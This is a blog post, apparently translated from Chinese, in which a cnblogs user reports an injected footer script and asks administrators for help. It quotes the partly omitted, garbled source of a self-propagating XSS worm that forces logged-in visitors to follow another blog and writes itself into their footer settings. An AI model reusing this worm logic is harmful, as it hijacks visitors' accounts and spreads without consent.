(Sorry for occupying the homepage for a while)
Is the blog garden hacked or is my blog hacked?
I just found that my blog has been added to the followingCode(It appears in "manage-> Settings->Footer HTML code,Some of them are skipped.) is there the same situation? Ask the Administrator for help.
After this code is run here, it automatically follows Darrel. hsu blog (the link is that there is no malicious code on the data page, and the blog has malicious code. do not access the blog in the logon status ), up to now, this blog has added several hundred fans (554 fans at and 565 fans ).
Update: a registered user adds this code to his blog.Logged OnAfter you access this user's blogInfectedIfNot logged on, Then jump back to the login page and the result is in the blogAllArticleCannot be opened normally.
The added code is as follows:
<SCRIPT> Function Hack (){ VaR Id = "d_hacker" + parseint (math. Random () * 1000 ); Function Createiframe (SRC, CB ){ VaR IFRAME; If (! (IFRAME = Document. getelementbyid (ID ))){... // Omitted } IFRAME. onload = Function () {CB (IFRAME )}; If (SRC. indexof ("HTTP") = 0 ) {IFRAME. SRC = SRC ;} Else { VaR Doc = Iframe.content+doc ument; Doc. open (); Doc. Write (SRC); Doc. Close ();}} VaR M = ["C", "n", "B", "L", "O", "g", "S ",". "," U "," S "," E "," r "," M "," A "," n "," A "," g ", "E", "r ",". "," F "," O "," L "," L "," O "," W "," B "," L "," O ", "G", "g", "E", "R" ] M = M. Join ("" ) Window. eval (M + '("B8a15066-1039-e011-ac81-842b2b196315 ")' ) Createiframe ( "Http://www.cnblogs.com /", Function (IFRAME ){ VaR Win = IFRAME. contentWindow; VaR Href = $ ("# span_userinfo A: eq (1 )" , Win.doc ument); href = Href. ATTR ("href") + "admin/configure. aspx" ; Createiframe (href, Function (IFRAME ){... // Omitted If (Val. indexof ("b8a15066 ()") <0 ) {Val = Val + "<scri" + "Pt>" + hack. tostring () + "; hack (); </scr" + "ERT>" ; $ ( "# Edit_txbpageendhtml", DOC). Val (VAL); $ ( "# Edit_lkbpost", DOC). Trigger ("click" ) ;}}) ;}}; Hack (); </SCRIPT>
I don't know how to contact Dudu, and Dudu's blog is also infected,Check your blog first..